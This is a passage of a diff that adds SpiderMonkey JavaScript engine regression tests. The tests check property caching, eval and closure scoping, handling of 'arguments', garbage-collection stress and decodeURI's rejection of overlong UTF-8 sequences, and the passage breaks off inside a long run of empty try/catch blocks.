--- /dev/null
+++ b/js/src/tests/non262/regress/regress-500528.js
@@ -0,0 +1,22 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+// This test appeared in bug 497789 comment 78.
+
+var a = {x: 'a'},
+ b1 = Object.create(a),
+ c1 = Object.create(b1),
+ b2 = Object.create(a),
+ c2 = Object.create(b2);
+
+b2.x = 'b'; // foreshadowing a.x
+
+var s = '';
+for (var obj of [c1, c2])
+ s += obj.x;
+assertEq(s, 'ab');
+
+reportCompare(0, 0, "Property cache soundness: objects with the same shape but different prototypes.");
diff --git a/js/src/tests/non262/regress/regress-501124.js b/js/src/tests/non262/regress/regress-501124.js
new file mode 100644
index 0000000000..6cdece9ddf
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-501124.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 501124;
+var summary = 'Crypotographic login routines';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var hexVal = "00000000000000000000000000000000DEADBABE";
+ var nblk = (((hexVal.length/2) + 8) >> 6) + 1;
+
+ var blks = new Array(nblk * 16);
+
+ for(var i = 0; i < nblk * 16; i++)
+ blks[i] = 0;
+
+ for(i = 0; i < hexVal.length; i++) {
+ blks[i >> 3] |= ("0x"+hexVal.charAt(i)) << (28 - (i % 8) * 4);
+ }
+
+ expect = '0,0,0,0,-559039810,0,0,0,0,0,0,0,0,0,0,0';
+ actual = blks + '';
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-503860.js b/js/src/tests/non262/regress/regress-503860.js
new file mode 100644
index 0000000000..d29bcfddd8
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-503860.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 503860;
+var summary = "Don't shadow a readonly or setter proto-property";
+var expect = "PASS";
+var actual = "FAIL";
+var a = {y: 1};
+
+function B(){}
+B.prototype.__defineSetter__('x', function setx(val) { actual = expect; });
+var b = new B;
+b.y = 1;
+
+var arr = [a, b]; // same shape prior to bug 497789 fix
+for (var obj of arr)
+ obj.x = 2; // should call b's setter but doesn't
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-504078.js b/js/src/tests/non262/regress/regress-504078.js
new file mode 100644
index 0000000000..b93eaa8135
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-504078.js
@@ -0,0 +1,48 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 504078;
+var summary = 'Iterations over global object';
+var actual = '';
+var expect = '';
+
+var g = (typeof window == 'undefined' ? this : window);
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function keys(obj) {
+ for (var prop in obj) {
+ }
+ }
+
+ var data = { a : 1, b : 2 };
+ var data2 = { a : 1, b : 2 };
+
+ function boot() {
+ keys(data);
+ keys(g);
+ keys(data2); // this call dies with "var prop is not a function"
+ print('no error');
+ }
+
+ try
+ {
+ boot();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-507053.js b/js/src/tests/non262/regress/regress-507053.js
new file mode 100644
index 0000000000..3018c86ab7
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-507053.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 507053;
+var summary = 'TM: invalid results with setting a closure variable in a loop'
+var actual = '';
+var expect = '2,4,8,16,32,2,4,8,16,32,2,4,8,16,32,2,4,8,16,32,2,4,8,16,32,';
+
+
+//-----------------------------------------------------------------------------
+start_test();
+
+var f = function() {
+ var p = 1;
+
+ function g() {
+ for (var i = 0; i < 5; ++i) {
+ p = p * 2;
+ actual += p + ',';
+ }
+ }
+ g();
+}
+
+for (var i = 0; i < 5; ++i) {
+ f();
+}
+
+finish_test();
+//-----------------------------------------------------------------------------
+
+function start_test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+}
+
+function finish_test()
+{
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-507295.js b/js/src/tests/non262/regress/regress-507295.js
new file mode 100644
index 0000000000..f590d57497
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-507295.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 507295;
+var summary = 'TM: assert with using result of assignment to closure var'
+var actual = '';
+var expect = 'do not crash';
+
+
+//-----------------------------------------------------------------------------
+start_test();
+
+(function () {
+ var y;
+ (eval("(function () {\
+ for (var x = 0; x < 3; ++x) {\
+ ''.replace(/a/, (y = 3))\
+ }\
+ });\
+ "))()
+})()
+
+actual = 'do not crash'
+finish_test();
+//-----------------------------------------------------------------------------
+
+function start_test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+}
+
+function finish_test()
+{
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-509354.js b/js/src/tests/non262/regress/regress-509354.js
new file mode 100644
index 0000000000..cbf4cfc595
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-509354.js
@@ -0,0 +1,41 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff <jorendorff@mozilla.com>
+ */
+
+// Decompile destructuring argument named `arguments` correctly.
+var actual = "" + function ([arguments]) {return arguments;};
+compareSource('function ([arguments]) {return arguments;}', actual, "part 1");
+
+// Make sure the 'arguments' argument actually works.
+var f = function ([arguments]) {return arguments + 1;};
+reportCompare(3.25, f([2.25]), "part 2");
+
+// Throw SyntaxError when `arguments` appears twice in a destructuring parameter.
+actual = "no exception";
+try {
+ eval('(function ([arguments, arguments]) {return arguments();})');
+} catch (exc) {
+ actual = exc.name;
+}
+reportCompare("SyntaxError", actual, "part 3");
+
+// And again...
+actual = "no exception";
+try {
+ eval('(function ([a, b, arguments, d], [e, f, arguments]) {return arguments();})');
+} catch (exc) {
+ actual = exc.name;
+}
+reportCompare("SyntaxError", actual, "part 4");
+
+// The original test case from bug 509354. Don't crash.
+try {
+ eval('print(function([arguments,arguments,arguments,arguments,arguments,' +
+ 'arguments,arguments,arguments,arguments,arguments,arguments,' +
+ 'arguments,arguments,arguments,arguments,arguments]){})');
+} catch (exc) {
+}
+reportCompare("no crash", "no crash", "part 5");
+
diff --git a/js/src/tests/non262/regress/regress-511859.js b/js/src/tests/non262/regress/regress-511859.js
new file mode 100644
index 0000000000..76e6c00c81
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-511859.js
@@ -0,0 +1,147 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 22 Aug 2009
+ * SUMMARY: Utf8ToOneUcs4Char in jsstr.cpp ,overlong UTF-8 seqence detection problem
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=511859
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 511859;
+var summary = 'Utf8ToOneUcs4Char in jsstr.cpp ,overlong UTF-8 seqence detection problem';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect = '';
+var expectedvalues = [];
+var arg;
+/*
+ * The patch for http://bugzilla.mozilla.org/show_bug.cgi?id=511859
+ * defined this value to be the result of an overlong UTF-8 sequence -
+ */
+
+var EX="(Exception thrown)";
+
+function getActual(s)
+{
+ try {
+ return decodeURI(s);
+ } catch (e) {
+ return EX;
+ }
+}
+
+//Phase1: overlong sequences
+expect = EX;
+arg = "%C1%BF";
+status = "Overlong 2byte U+7f :" + arg;
+actual = getActual(arg);
+addThis();
+
+arg = "%E0%9F%BF";
+status = "Overlong 3byte U+7ff :" + arg;
+actual = getActual(arg);
+addThis();
+
+arg = "%F0%88%80%80";
+status = "Overlong 4byte U+8000 :" + arg;
+actual = getActual(arg);
+addThis();
+
+arg = "%F0%8F%BF%BF";
+status = "Overlong 4byte U+ffff :" + arg;
+actual = getActual(arg);
+addThis();
+
+arg = "%F0%80%C0%80%80";
+status = "Overlong 5byte U+20000 :" + arg;
+actual = getActual(arg);
+addThis();
+
+arg = "%F8%84%8F%BF%BF";
+status = "Overlong 5byte U+10FFFF :" + arg;
+actual = getActual(arg);
+addThis();
+
+arg = "%FC%80%84%8F%BF%BF";
+status = "Overlong 6byte U+10FFFF :" + arg;
+actual = getActual(arg);
+addThis();
+
+//Phase 2:Out of Unicode range
+arg = "%F4%90%80%80%80";
+status = "4byte 0x110000 :" + arg;
+actual = getActual(arg);
+addThis();
+arg = "%F8%84%90%80%80";
+status = "5byte 0x110000 :" + arg;
+actual = getActual(arg);
+addThis();
+
+arg = "%FC%80%84%90%80%80";
+status = "6byte 0x110000 :" + arg;
+actual = getActual(arg);
+addThis();
+
+//Phase 3:Valid sequences must be decoded correctly
+arg = "%7F";
+status = "valid sequence U+7F :" + arg;
+actual = getActual("%7F");
+expect = "\x7f";
+addThis();
+
+arg = "%C2%80";
+status = "valid sequence U+80 :" + arg;
+actual = getActual(arg);
+expect = "\x80";
+addThis();
+
+arg = "%E0%A0%80";
+status = "valid sequence U+800 :" + arg;
+actual = getActual("%E0%A0%80");
+expect = "\u0800";
+addThis();
+
+arg = "%F0%90%80%80"
+status = "valid sequence U+10000 :" + arg;
+actual = getActual(arg);
+expect = "\uD800\uDC00";
+addThis();
+
+arg = "%F4%8F%BF%BF";
+status = "valid sequence U+10FFFF :" + arg;
+actual = getActual(arg);
+expect = "\uDBFF\uDFFF";
+addThis();
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-522123.js b/js/src/tests/non262/regress/regress-522123.js
new file mode 100644
index 0000000000..fd1f16e0fc
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-522123.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 522123;
+var summary = 'Indirect eval confuses scope chain';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+var x=1;
+
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 1;
+
+ evil=eval;
+ {
+ let x=2;
+ actual = evil("x");
+ };
+
+ reportCompare(expect, actual, summary);
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/regress/regress-524743.js b/js/src/tests/non262/regress/regress-524743.js
new file mode 100644
index 0000000000..8bd3cd6ee6
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-524743.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if((isDebugBuild&&!xulRuntime.shell)||Android) -- hang
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+if (typeof gczeal != 'undefined' && typeof gc != 'undefined') {
+ try
+ {
+ gczeal(2);
+ var obj = {};
+ for (var i = 0; i < 50; i++) {
+ obj["_" + i] = 0;
+ gc();
+ }
+ }
+ catch(ex)
+ {
+ }
+ gczeal(0);
+}
+reportCompare("no assertion failure", "no assertion failure", "bug 524743");
diff --git a/js/src/tests/non262/regress/regress-530879.js b/js/src/tests/non262/regress/regress-530879.js
new file mode 100644
index 0000000000..79cc1b985b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-530879.js
@@ -0,0 +1,9 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+function* f(a, b, c, d) {
+ yield arguments.length;
+}
+reportCompare(0, f().next().value, "bug 530879");
diff --git a/js/src/tests/non262/regress/regress-532491.js b/js/src/tests/non262/regress/regress-532491.js
new file mode 100644
index 0000000000..fc19475ba0
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-532491.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 466128;
+var summary = 'Do not assert: staticLevel == script->staticLevel, at ../jsobj.cpp';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(foo) {
+ if (a % 2 == 1) {
+ try {
+ eval(foo);
+ } catch(e) {}
+ }
+ }
+ a = 1;
+ f("eval(\"x\")");
+ f("x");
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-541255-3.js b/js/src/tests/non262/regress/regress-541255-3.js
new file mode 100644
index 0000000000..e352429b2c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-541255-3.js
@@ -0,0 +1,13 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Gary Kwong and Jason Orendorff
+ */
+
+function f(y) {
+ eval("{ let z=2, w=y; (function () { w.p = 7; })(); }");
+}
+var x = {};
+f(x);
+assertEq(x.p, 7);
+reportCompare(0, 0, "");
diff --git a/js/src/tests/non262/regress/regress-541455.js b/js/src/tests/non262/regress/regress-541455.js
new file mode 100644
index 0000000000..7ee3a40155
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-541455.js
@@ -0,0 +1,12 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Gary Kwong and Jason Orendorff
+ */
+
+function f(x) { return eval('"mumble"; x + 42'); }
+
+var expect = true;
+var actual = ('' + f).indexOf("mumble") >= 0;
+
+reportCompare(expect, actual, "unknown directive in eval code wrongly dropped");
diff --git a/js/src/tests/non262/regress/regress-551763-0.js b/js/src/tests/non262/regress/regress-551763-0.js
new file mode 100644
index 0000000000..6aeceac232
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-551763-0.js
@@ -0,0 +1,27 @@
+(function() {
+ var o = {'arguments': 42};
+ with (o) { // Definitely forces heavyweight.
+ // Note syntax is not a property access.
+ reportCompare(delete arguments, true,
+ "arguments property deletion within with block");
+ }
+ reportCompare('arguments' in o, false,
+ "property deletion observable");
+})();
+
+(function() {
+ var o = {'arguments': 42};
+ delete o.arguments;
+ reportCompare('arguments' in o, false,
+ "arguments property deletion with property access syntax");
+})();
+
+(function() {
+ var arguments = 42; // Forces heavyweight.
+ reportCompare(delete arguments, false,
+ "arguments variable");
+})();
+
+(function() {
+ reportCompare(delete arguments, false, "arguments object");
+})();
diff --git a/js/src/tests/non262/regress/regress-551763-1.js b/js/src/tests/non262/regress/regress-551763-1.js
new file mode 100644
index 0000000000..f5f95e605d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-551763-1.js
@@ -0,0 +1,4 @@
+/* Check we can delete arguments in the global space. */
+arguments = 42;
+reportCompare(delete arguments, true, "arguments defined as global");
+
diff --git a/js/src/tests/non262/regress/regress-551763-2.js b/js/src/tests/non262/regress/regress-551763-2.js
new file mode 100644
index 0000000000..4bcb417439
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-551763-2.js
@@ -0,0 +1,3 @@
+/* Check we can't delete a var-declared arguments in global space. */
+var arguments = 42;
+reportCompare(delete arguments, false, "arguments defined as global variable");
diff --git a/js/src/tests/non262/regress/regress-552432.js b/js/src/tests/non262/regress/regress-552432.js
new file mode 100644
index 0000000000..615fd0500d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-552432.js
@@ -0,0 +1,16 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+(function (y) {
+ arguments.y = 2;
+ var x = Object.create(arguments);
+ x[0] = 3;
+ assertEq(x[0], 3);
+ assertEq(x.y, 2);
+ assertEq(y, 1);
+})(1);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/regress/regress-553778.js b/js/src/tests/non262/regress/regress-553778.js
new file mode 100644
index 0000000000..797165e547
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-553778.js
@@ -0,0 +1,16 @@
+/*
+ * This should compile without triggering the following assertion:
+ *
+ * Assertion failure: cg->fun->u.i.skipmin <= skip, at ../jsemit.cpp:2346
+ */
+
+function f() {
+ function g() {
+ function h() {
+ g; x;
+ }
+ var [x] = [];
+ }
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/regress/regress-554955-1.js b/js/src/tests/non262/regress/regress-554955-1.js
new file mode 100644
index 0000000000..80c26b0880
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-554955-1.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function f(s) {
+ eval(s);
+ return function(a) {
+ var d;
+ {
+ let c = 3;
+ d = function() { a; }; // force Block object to be cloned
+ with({}) {}; // repel JägerMonkey
+ return b; // lookup occurs in scope of Block
+ }
+ };
+}
+
+var b = 1;
+var g1 = f("");
+var g2 = f("var b = 2;");
+
+/* Call the lambda once, caching a reference to the global b. */
+g1(0);
+
+/*
+ * If this call sees the above cache entry, then it will erroneously use the
+ * global b.
+ */
+assertEq(g2(0), 2);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/regress/regress-554955-2.js b/js/src/tests/non262/regress/regress-554955-2.js
new file mode 100644
index 0000000000..659b5c8775
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-554955-2.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function f(s) {
+ eval(s);
+ return function(a) {
+ with({}) {}; // repel JägerMonkey
+ eval(a);
+ return b;
+ };
+}
+
+var b = 1;
+var g1 = f("");
+var g2 = f("var b = 2;");
+
+/* Call the lambda once, caching a reference to the global b. */
+g1('');
+
+/*
+ * If this call sees the above cache entry, then it will erroneously use
+ * the global b.
+ */
+assertEq(g2(''), 2);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/regress/regress-554955-3.js b/js/src/tests/non262/regress/regress-554955-3.js
new file mode 100644
index 0000000000..c4e1a60cee
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-554955-3.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function f(s) {
+ eval(s);
+ return function(a) {
+ with({}) {}; // repel JägerMonkey
+ eval(a);
+ {
+ let c = 3;
+ return b;
+ };
+ };
+}
+
+var b = 1;
+var g1 = f("");
+var g2 = f("var b = 2;");
+
+/* Call the lambda once, caching a reference to the global b. */
+g1('');
+
+/*
+ * If this call sees the above cache entry, then it will erroneously use the
+ * global b.
+ */
+assertEq(g2(''), 2);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/regress/regress-554955-4.js b/js/src/tests/non262/regress/regress-554955-4.js
new file mode 100644
index 0000000000..09713c2f97
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-554955-4.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function f() {
+ return function(a) {
+ // This eval must take place before the block is cloned, when the
+ // call object is still not marked as a delegate. The scope chain
+ // purge for the JSOP_DEFVAR will not change the global's shape,
+ // and the property cache entry will remain valid.
+ eval(a);
+ {
+ let c = 3;
+ // This eval forces the block to be cloned, so its shape gets
+ // used as the property cache key shape.
+ eval('');
+ return b;
+ };
+ };
+}
+
+var b = 1;
+var g1 = f();
+var g2 = f();
+
+/* Call the lambda once, caching a reference to the global b. */
+g1('');
+
+/*
+ * If this call sees the above cache entry, then it will erroneously use the
+ * global b.
+ */
+assertEq(g2('var b=2'), 2);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/regress/regress-554955-5.js b/js/src/tests/non262/regress/regress-554955-5.js
new file mode 100644
index 0000000000..dc8769a1f2
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-554955-5.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function f(s) {
+ if (s) {
+ function b() { }
+ }
+ return function(a) {
+ eval(a);
+ return b;
+ };
+}
+
+var b = 1;
+var g1 = f(false);
+var g2 = f(true);
+
+/* Call the lambda once, caching a reference to the global b. */
+g1('');
+
+/*
+ * If this call sees the above cache entry, then it will erroneously use the
+ * global b.
+ */
+assertEq(typeof g2(''), "function");
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/regress/regress-554955-6.js b/js/src/tests/non262/regress/regress-554955-6.js
new file mode 100644
index 0000000000..73faaefb05
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-554955-6.js
@@ -0,0 +1,50 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var v="global";
+function f(a) {
+ // This eval could extend f's call object. However, the call object has
+ // not yet been marked as a delegate at this point, so no scope chain
+ // purge takes place when it is extended.
+ eval(a);
+ {
+ let b=3;
+ // This eval causes the cloned block object to be added to the
+ // scope chain. The block needs a unique shape: its parent call
+ // could acquire bindings for anything without affecting the global
+ // object's shape, so it's up to the block's shape to mismatch all
+ // property cache entries for prior blocks.
+ eval("");
+ return v;
+ };
+}
+
+// Call the function once, to cache a reference to the global v from within
+// f's lexical block.
+assertEq("global", f(""));
+
+// Call the function again, adding a binding to the call, and ensure that
+// we do not see any property cache entry created by the previous reference
+// that would direct us to the global definition.
+assertEq("local", f("var v='local'"));
+
+// Similarly,but with a doubly-nested block; make sure everyone gets marked.
+function f2(a) {
+ eval(a);
+ {
+ let b=3;
+ {
+ let c=4;
+ eval("");
+ return v;
+ };
+ };
+}
+
+assertEq("global", f2(""));
+assertEq("local", f2("var v='local'"));
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/regress/regress-555246-0.js b/js/src/tests/non262/regress/regress-555246-0.js
new file mode 100644
index 0000000000..2a4efe0522
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-555246-0.js
@@ -0,0 +1,14 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+if (typeof evalcx == 'function') {
+ var cx = evalcx("");
+ evalcx("function f() { return this; }", cx);
+ var f = cx.f;
+ assertEq(f(), cx);
+}
+
+reportCompare(0, 0, "");
diff --git a/js/src/tests/non262/regress/regress-555246-1.js b/js/src/tests/non262/regress/regress-555246-1.js
new file mode 100644
index 0000000000..c9bd4d0f35
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-555246-1.js
@@ -0,0 +1,18 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+if (typeof evalcx == 'function') {
+ var cx = evalcx("");
+ evalcx("function f() { return this; }", cx);
+ f = cx.f;
+ assertEq(f(), cx);
+
+ evalcx("function g() { 'use strict'; return this; }", cx);
+ g = cx.g;
+ assertEq(g(), undefined);
+}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-559402-1.js b/js/src/tests/non262/regress/regress-559402-1.js
new file mode 100644
index 0000000000..4f3a3f99cc
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-559402-1.js
@@ -0,0 +1,14 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var expect = "No error";
+var actual = expect;
+
+try {
+ eval('function foo() { "use strict"; }');
+} catch (e) {
+ actual = '' + e;
+}
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/non262/regress/regress-559402-2.js b/js/src/tests/non262/regress/regress-559402-2.js
new file mode 100644
index 0000000000..ca0988cbb7
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-559402-2.js
@@ -0,0 +1,8 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var expect = undefined;
+var actual = (function foo() { "bogus"; })();
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/non262/regress/regress-559438.js b/js/src/tests/non262/regress/regress-559438.js
new file mode 100644
index 0000000000..c2b440c181
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-559438.js
@@ -0,0 +1,10 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+function f(x) { return 1 + "" + (x + 1); }
+reportCompare("12", f(1), "");
+var g = eval("(" + f + ")");
+reportCompare("12", g(1), "");
diff --git a/js/src/tests/non262/regress/regress-560998-1.js b/js/src/tests/non262/regress/regress-560998-1.js
new file mode 100644
index 0000000000..4aa25fd7a2
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-560998-1.js
@@ -0,0 +1,10 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Jesse Ruderman
+
+for (let j = 0; j < 4; ++j) {
+ function g() { j; }
+ g();
+}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-560998-2.js b/js/src/tests/non262/regress/regress-560998-2.js
new file mode 100644
index 0000000000..24491a1be7
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-560998-2.js
@@ -0,0 +1,10 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Jason Orendorff <jorendorff@mozilla.com>
+
+var x = {};
+for (var i = 0; i < 2; i++) {
+ Object.defineProperty(x, "y", {configurable: true, value: function () {}});
+ x.y();
+}
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-561031.js b/js/src/tests/non262/regress/regress-561031.js
new file mode 100644
index 0000000000..944a22ee1f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-561031.js
@@ -0,0 +1,1830 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Gary Kwong
+ */
+
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
